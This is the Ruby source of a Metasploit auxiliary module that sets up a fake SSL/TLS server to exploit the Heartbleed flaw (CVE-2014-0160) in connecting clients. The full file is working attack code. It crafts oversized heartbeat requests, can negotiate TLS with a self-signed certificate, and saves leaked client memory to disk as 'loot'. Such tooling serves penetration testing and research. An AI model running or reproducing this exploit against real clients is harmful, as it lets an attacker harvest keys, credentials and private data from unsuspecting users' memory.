538 lines
18 KiB
Ruby
538 lines
18 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::TcpServer
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'OpenSSL Heartbeat (Heartbleed) Client Memory Exposure',
|
|
'Description' => %q{
|
|
This module provides a fake SSL service that is intended to
|
|
leak memory from client systems as they connect. This module is
|
|
hardcoded for using the AES-128-CBC-SHA1 cipher.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Neel Mehta', # Vulnerability discovery
|
|
'Riku', # Vulnerability discovery
|
|
'Antti', # Vulnerability discovery
|
|
'Matti', # Vulnerability discovery
|
|
'hdm' # MSF module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Actions' => [['Capture']],
|
|
'PassiveActions' => ['Capture'],
|
|
'DefaultAction' => 'Capture',
|
|
'References' =>
|
|
[
|
|
['CVE', '2014-0160'],
|
|
['US-CERT-VU', '720951'],
|
|
['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A'],
|
|
['URL', 'http://heartbleed.com/']
|
|
],
|
|
'DisclosureDate' => 'Apr 07 2014'
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8443 ]),
|
|
OptInt.new('HEARTBEAT_LIMIT', [true, "The number of kilobytes of data to capture at most from each client", 512]),
|
|
OptInt.new('HEARTBEAT_READ', [true, "The number of bytes to leak in the heartbeat response", 65535]),
|
|
OptBool.new('NEGOTIATE_TLS', [true, "Set this to true to negotiate TLS and often leak more data at the cost of CA validation", false])
|
|
], self.class)
|
|
end
|
|
|
|
# Initialize the client state and RSA key for this session
|
|
def setup
|
|
super
|
|
@state = {}
|
|
@cert_key = OpenSSL::PKey::RSA.new(1024){ } if negotiate_tls?
|
|
end
|
|
|
|
# Setup the server module and start handling requests
|
|
def run
|
|
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
|
|
exploit
|
|
end
|
|
|
|
# Determine how much memory to leak with each request
|
|
def heartbeat_read_size
|
|
datastore['HEARTBEAT_READ'].to_i
|
|
end
|
|
|
|
# Determine how much heartbeat data to capture at the most
|
|
def heartbeat_limit
|
|
datastore['HEARTBEAT_LIMIT'].to_i * 1024
|
|
end
|
|
|
|
# Determine whether we should negotiate TLS or not
|
|
def negotiate_tls?
|
|
!! datastore['NEGOTIATE_TLS']
|
|
end
|
|
|
|
# Initialize a new state for every client
|
|
def on_client_connect(c)
|
|
@state[c] = {
|
|
:name => "#{c.peerhost}:#{c.peerport}",
|
|
:ip => c.peerhost,
|
|
:port => c.peerport,
|
|
:heartbeats => "",
|
|
:server_random => [Time.now.to_i].pack("N") + Rex::Text.rand_text(28)
|
|
}
|
|
print_status("#{@state[c][:name]} Connected")
|
|
end
|
|
|
|
# Buffer messages and parse them once they are fully received
|
|
def on_client_data(c)
|
|
data = c.get_once
|
|
return if not data
|
|
@state[c][:buff] ||= ""
|
|
@state[c][:buff] << data
|
|
process_request(c)
|
|
end
|
|
|
|
# Extract TLS messages from the buffer and process them
|
|
def process_request(c)
|
|
|
|
# Make this slightly harder to DoS
|
|
if @state[c][:buff].to_s.length > (1024*128)
|
|
print_status("#{@state[c][:name]} Buffer limit reached, dropping connection")
|
|
c.close
|
|
return
|
|
end
|
|
|
|
# Process any buffered messages
|
|
loop do
|
|
break unless @state[c][:buff]
|
|
|
|
message_type, message_ver, message_len = @state[c][:buff].unpack("Cnn")
|
|
break unless message_len
|
|
break unless @state[c][:buff].length >= message_len+5
|
|
|
|
mesg = @state[c][:buff].slice!(0, message_len+5)
|
|
|
|
if @state[c][:encrypted]
|
|
process_openssl_encrypted_request(c, mesg)
|
|
else
|
|
process_openssl_cleartext_request(c, mesg)
|
|
end
|
|
end
|
|
end
|
|
|
|
# Process cleartext TLS messages
|
|
def process_openssl_cleartext_request(c, data)
|
|
message_type, message_version, protocol_version = data.unpack("Cn@9n")
|
|
|
|
if message_type == 0x15 and data.length >= 7
|
|
message_level, message_reason = data[5,2].unpack("CC")
|
|
print_status("#{@state[c][:name]} Alert Level #{message_level} Reason #{message_reason}")
|
|
if message_level == 2 and message_reason == 0x30
|
|
print_status("#{@state[c][:name]} Client rejected our certificate due to unknown CA")
|
|
return
|
|
end
|
|
|
|
if level == 2
|
|
print_status("#{@state[c][:name]} Client rejected our connection with a fatal error: #{message_reason}")
|
|
return
|
|
end
|
|
|
|
end
|
|
|
|
unless message_type == 0x18
|
|
message_code = data[5,1].to_s.unpack("C").first
|
|
vprint_status("#{@state[c][:name]} Message #{sprintf("type %.2x v%.4x %.2x", message_type, message_version, message_code)}")
|
|
end
|
|
|
|
# Process the Client Hello
|
|
unless @state[c][:received_hello]
|
|
|
|
unless (message_type == 0x16 and data.length > 43 and message_code == 0x01)
|
|
print_status("#{@state[c][:name]} Expected a Client Hello, received #{sprintf("type %.2x code %.2x", message_type, message_code)}")
|
|
return
|
|
end
|
|
|
|
print_status("#{@state[c][:name]} Processing Client Hello...")
|
|
|
|
# Extract the client_random needed to compute the master key
|
|
@state[c][:client_random] = data[11,32]
|
|
@state[c][:received_hello] = true
|
|
|
|
print_status("#{@state[c][:name]} Sending Server Hello...")
|
|
openssl_send_server_hello(c, data, protocol_version)
|
|
return
|
|
end
|
|
|
|
# If we are negotiating TLS, handle Client Key Exchange/Change Cipher Spec
|
|
if negotiate_tls?
|
|
# Process the Client Key Exchange
|
|
if message_type == 0x16 and data.length > 11 and message_code == 0x10
|
|
print_status("#{@state[c][:name]} Processing Client Key Exchange...")
|
|
premaster_length = data[9, 2].unpack("n").first
|
|
|
|
# Extract the pre-master secret in encrypted form
|
|
if data.length >= 11 + premaster_length
|
|
premaster_encrypted = data[11, premaster_length]
|
|
|
|
# Decrypt the pre-master secret using our RSA key
|
|
premaster_clear = @cert_key.private_decrypt(premaster_encrypted) rescue nil
|
|
@state[c][:premaster] = premaster_clear if premaster_clear
|
|
end
|
|
end
|
|
|
|
# Process the Change Cipher Spec and switch to encrypted communications
|
|
if message_type == 0x14 and message_code == 0x01
|
|
print_status("#{@state[c][:name]} Processing Change Cipher Spec...")
|
|
initialize_encryption_keys(c)
|
|
return
|
|
end
|
|
# Otherwise just start capturing heartbeats in clear-text mode
|
|
else
|
|
# Send heartbeat requests
|
|
if @state[c][:heartbeats].length < heartbeat_limit
|
|
openssl_send_heartbeat(c, protocol_version)
|
|
end
|
|
|
|
# Process cleartext heartbeat replies
|
|
if message_type == 0x18
|
|
vprint_status("#{@state[c][:name]} Heartbeat received (#{data.length-5} bytes) [#{@state[c][:heartbeats].length} bytes total]")
|
|
@state[c][:heartbeats] << data[5, data.length-5]
|
|
end
|
|
|
|
# Full up on heartbeats, disconnect the client
|
|
if @state[c][:heartbeats].length >= heartbeat_limit
|
|
print_status("#{@state[c][:name]} Heartbeats received [#{@state[c][:heartbeats].length} bytes total]")
|
|
store_captured_heartbeats(c)
|
|
c.close()
|
|
end
|
|
end
|
|
end
|
|
|
|
# Process encrypted TLS messages
|
|
def process_openssl_encrypted_request(c, data)
|
|
message_type, message_version, protocol_version = data.unpack("Cn@9n")
|
|
|
|
return if @state[c][:shutdown]
|
|
return unless data.length > 5
|
|
|
|
buff = decrypt_data(c, data[5, data.length-5])
|
|
unless buff
|
|
print_status("#{@state[c][:name]} Failed to decrypt, giving up on this client")
|
|
c.close
|
|
return
|
|
end
|
|
|
|
message_code = buff[0,1].to_s.unpack("C").first
|
|
vprint_status("#{@state[c][:name]} Message #{sprintf("type %.2x v%.4x %.2x", message_type, message_version, message_code)}")
|
|
|
|
if message_type == 0x16
|
|
print_status("#{@state[c][:name]} Processing Client Finished...")
|
|
end
|
|
|
|
# Send heartbeat requests
|
|
if @state[c][:heartbeats].length < heartbeat_limit
|
|
openssl_send_heartbeat(c, protocol_version)
|
|
end
|
|
|
|
# Process heartbeat replies
|
|
if message_type == 0x18
|
|
vprint_status("#{@state[c][:name]} Encrypted heartbeat received (#{buff.length} bytes) [#{@state[c][:heartbeats].length} bytes total]")
|
|
@state[c][:heartbeats] << buff
|
|
end
|
|
|
|
# Full up on heartbeats, disconnect the client
|
|
if @state[c][:heartbeats].length >= heartbeat_limit
|
|
print_status("#{@state[c][:name]} Encrypted heartbeats received [#{@state[c][:heartbeats].length} bytes total]")
|
|
store_captured_heartbeats(c)
|
|
c.close()
|
|
end
|
|
end
|
|
|
|
# Dump captured memory to a file on disk using the loot API
|
|
def store_captured_heartbeats(c)
|
|
if @state[c][:heartbeats].length > 0
|
|
begin
|
|
path = store_loot(
|
|
"openssl.heartbleed.client",
|
|
"application/octet-stream",
|
|
@state[c][:ip],
|
|
@state[c][:heartbeats],
|
|
nil,
|
|
"OpenSSL Heartbleed client memory"
|
|
)
|
|
print_status("#{@state[c][:name]} Heartbeat data stored in #{path}")
|
|
rescue ::Interrupt
|
|
raise $!
|
|
rescue ::Exception
|
|
print_status("#{@state[c][:name]} Heartbeat data could not be stored: #{$!.class} #{$!}")
|
|
end
|
|
|
|
# Report the memory disclosure as a vulnerability on the host
|
|
report_vuln({
|
|
:host => @state[c][:ip],
|
|
:name => self.name,
|
|
:info => "Module #{self.fullname} successfully dumped client memory contents",
|
|
:refs => self.references,
|
|
:exploited_at => Time.now.utc
|
|
}) rescue nil # Squash errors related to ip => 127.0.0.1 and the like
|
|
end
|
|
|
|
# Clear the heartbeat array
|
|
@state[c][:heartbeats] = ""
|
|
@state[c][:shutdown] = true
|
|
end
|
|
|
|
# Delete the state on connection close
|
|
def on_client_close(c)
|
|
# Do we have any pending heartbeats to save?
|
|
if @state[c][:heartbeats].length > 0
|
|
store_captured_heartbeats(c)
|
|
end
|
|
@state.delete(c)
|
|
end
|
|
|
|
# Send an OpenSSL Server Hello response
|
|
def openssl_send_server_hello(c, hello, version)
|
|
|
|
# If encrypted, use the TLS_RSA_WITH_AES_128_CBC_SHA; otherwise, use the
|
|
# first cipher suite sent by the client.
|
|
if @state[c][:encrypted]
|
|
cipher = "\x00\x2F"
|
|
else
|
|
cipher = hello[46, 2]
|
|
end
|
|
|
|
# Create the Server Hello response
|
|
extensions =
|
|
"\x00\x0f\x00\x01\x01" # Heartbeat
|
|
|
|
server_hello_payload =
|
|
[version].pack('n') + # Use the protocol version sent by the client.
|
|
@state[c][:server_random] + # Random (Timestamp + Random Bytes)
|
|
"\x00" + # Session ID
|
|
cipher + # Cipher ID (TLS_RSA_WITH_AES_128_CBC_SHA)
|
|
"\x00" + # Compression Method (none)
|
|
[extensions.length].pack('n') + extensions
|
|
|
|
server_hello = [0x02].pack("C") + [ server_hello_payload.length ].pack("N")[1,3] + server_hello_payload
|
|
|
|
msg1 = "\x16" + [version].pack('n') + [server_hello.length].pack("n") + server_hello
|
|
c.put(msg1)
|
|
|
|
# Skip the rest of TLS if we arent negotiating it
|
|
unless negotiate_tls?
|
|
# Send a heartbeat request to start the stream and return
|
|
openssl_send_heartbeat(c, version)
|
|
return
|
|
end
|
|
|
|
# Certificates
|
|
certs_combined = generate_certificates
|
|
pay2 = "\x0b" + [ certs_combined.length + 3 ].pack("N")[1, 3] + [ certs_combined.length ].pack("N")[1, 3] + certs_combined
|
|
msg2 = "\x16" + [version].pack('n') + [pay2.length].pack("n") + pay2
|
|
c.put(msg2)
|
|
|
|
# End of Server Hello
|
|
pay3 = "\x0e\x00\x00\x00"
|
|
msg3 = "\x16" + [version].pack('n') + [pay3.length].pack("n") + pay3
|
|
c.put(msg3)
|
|
end
|
|
|
|
# Send the heartbeat request that results in memory exposure
|
|
def openssl_send_heartbeat(c, version)
|
|
c.put "\x18" + [version].pack('n') + "\x00\x03\x01" + [heartbeat_read_size].pack("n")
|
|
end
|
|
|
|
# Pack the certificates for use in the TLS reply
|
|
def generate_certificates
|
|
certs = []
|
|
certs << generate_certificate.to_der
|
|
certs_combined = certs.map { |cert| [ cert.length ].pack("N")[1, 3] + cert }.join
|
|
end
|
|
|
|
# Generate a self-signed certificate to use for the service
|
|
def generate_certificate
|
|
key = @cert_key
|
|
cert = OpenSSL::X509::Certificate.new
|
|
cert.version = 2
|
|
cert.serial = rand(0xFFFFFFFF)
|
|
|
|
subject_cn = Rex::Text.rand_hostname
|
|
subject = OpenSSL::X509::Name.new([
|
|
["C","US"],
|
|
['ST', Rex::Text.rand_state()],
|
|
["L", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],
|
|
["O", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],
|
|
["CN", subject_cn],
|
|
])
|
|
issuer = OpenSSL::X509::Name.new([
|
|
["C","US"],
|
|
['ST', Rex::Text.rand_state()],
|
|
["L", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],
|
|
["O", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],
|
|
["CN", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],
|
|
])
|
|
|
|
cert.subject = subject
|
|
cert.issuer = issuer
|
|
cert.not_before = Time.now - (3600 * 24 * 365) + rand(3600 * 14)
|
|
cert.not_after = Time.now + (3600 * 24 * 365) + rand(3600 * 14)
|
|
cert.public_key = key.public_key
|
|
ef = OpenSSL::X509::ExtensionFactory.new(nil,cert)
|
|
cert.extensions = [
|
|
ef.create_extension("basicConstraints","CA:FALSE"),
|
|
ef.create_extension("subjectKeyIdentifier","hash"),
|
|
ef.create_extension("extendedKeyUsage","serverAuth"),
|
|
ef.create_extension("keyUsage","keyEncipherment,dataEncipherment,digitalSignature")
|
|
]
|
|
ef.issuer_certificate = cert
|
|
cert.add_extension ef.create_extension("authorityKeyIdentifier", "keyid:always,issuer:always")
|
|
cert.sign(key, OpenSSL::Digest::SHA1.new)
|
|
cert
|
|
end
|
|
|
|
# Decrypt the TLS message and return the result without the MAC
|
|
def decrypt_data(c, data)
|
|
return unless @state[c][:client_enc]
|
|
|
|
cipher = @state[c][:client_enc]
|
|
|
|
begin
|
|
buff = cipher.update(data)
|
|
buff << cipher.final
|
|
|
|
# Trim the trailing MAC signature off the buffer
|
|
if buff.length >= 20
|
|
return buff[0, buff.length-20]
|
|
end
|
|
rescue ::OpenSSL::Cipher::CipherError => e
|
|
print_status("#{@state[c][:name]} Decryption failed: #{e}")
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
# Calculate keys and toggle encrypted status
|
|
def initialize_encryption_keys(c)
|
|
tls1_calculate_crypto_keys(c)
|
|
@state[c][:encrypted] = true
|
|
end
|
|
|
|
# Determine crypto keys for AES-128-CBC based on the master secret
|
|
def tls1_calculate_crypto_keys(c)
|
|
@state[c][:master] = tls1_calculate_master_key(c)
|
|
return unless @state[c][:master]
|
|
|
|
key_block = tls1_prf(
|
|
@state[c][:master],
|
|
"key expansion" + @state[c][:server_random] + @state[c][:client_random],
|
|
(20 * 2) + (16 * 4)
|
|
)
|
|
|
|
# Extract the MAC, encryption, and IV from the keyblock
|
|
@state[c].update({
|
|
:client_write_mac_key => key_block.slice!(0, 20),
|
|
:server_write_mac_key => key_block.slice!(0, 20),
|
|
:client_write_key => key_block.slice!(0, 16),
|
|
:server_write_key => key_block.slice!(0, 16),
|
|
:client_iv => key_block.slice!(0, 16),
|
|
:server_iv => key_block.slice!(0, 16),
|
|
})
|
|
|
|
client_cipher = OpenSSL::Cipher.new('aes-128-cbc')
|
|
client_cipher.key = @state[c][:client_write_key]
|
|
client_cipher.iv = @state[c][:client_iv]
|
|
client_cipher.decrypt
|
|
client_mac = OpenSSL::HMAC.new(@state[c][:client_write_mac_key], OpenSSL::Digest.new('sha1'))
|
|
|
|
server_cipher = OpenSSL::Cipher.new('aes-128-cbc')
|
|
server_cipher.key = @state[c][:server_write_key]
|
|
server_cipher.iv = @state[c][:server_iv]
|
|
server_cipher.encrypt
|
|
server_mac = OpenSSL::HMAC.new(@state[c][:server_write_mac_key], OpenSSL::Digest.new('sha1'))
|
|
|
|
@state[c].update({
|
|
:client_enc => client_cipher,
|
|
:client_mac => client_mac,
|
|
:server_enc => server_cipher,
|
|
:server_mac => server_mac
|
|
})
|
|
|
|
true
|
|
end
|
|
|
|
# Determine the master key from the premaster and client/server randoms
|
|
def tls1_calculate_master_key(c)
|
|
return unless (
|
|
@state[c][:premaster] and
|
|
@state[c][:client_random] and
|
|
@state[c][:server_random]
|
|
)
|
|
tls1_prf(
|
|
@state[c][:premaster],
|
|
"master secret" + @state[c][:client_random] + @state[c][:server_random],
|
|
48
|
|
)
|
|
end
|
|
|
|
# Random generator used to calculate key data for TLS 1.0/1.1
|
|
def tls1_prf(input_secret, input_label, output_length)
|
|
# Calculate S1 and S2 as even blocks of each half of the secret
|
|
# string. If the blocks are uneven, then S1's last byte should
|
|
# be duplicated by S2's first byte
|
|
blen = (input_secret.length / 2.0).ceil
|
|
s1 = input_secret[0, blen]
|
|
s2_index = blen
|
|
if input_secret.length % 2 != 0
|
|
s2_index -= 1
|
|
end
|
|
s2 = input_secret[s2_index, blen]
|
|
|
|
# Hash the first part with MD5
|
|
out1 = tls1_p_hash('md5', s1, input_label, output_length).unpack("C*")
|
|
|
|
# Hash the second part with SHA1
|
|
out2 = tls1_p_hash('sha1', s2, input_label, output_length).unpack("C*")
|
|
|
|
# XOR the results together
|
|
[*(0..out1.length-1)].map {|i| out1[i] ^ out2[i] }.pack("C*")
|
|
end
|
|
|
|
# Used by tls1_prf to generate arbitrary amounts of session key data
|
|
def tls1_p_hash(digest, secret, label, olen)
|
|
output = ""
|
|
chunk = OpenSSL::Digest.new(digest).digest_length
|
|
ctx = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest))
|
|
ctx_tmp = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest))
|
|
|
|
ctx.update(label)
|
|
a1 = ctx.digest
|
|
|
|
loop do
|
|
ctx = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest))
|
|
ctx_tmp = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest))
|
|
ctx.update(a1)
|
|
ctx_tmp.update(a1)
|
|
ctx.update(label)
|
|
|
|
if olen > chunk
|
|
output << ctx.digest
|
|
a1 = ctx_tmp.digest
|
|
olen -= chunk
|
|
else
|
|
a1 = ctx.digest
|
|
output << a1[0, olen]
|
|
break
|
|
end
|
|
end
|
|
|
|
output
|
|
end
|
|
end
|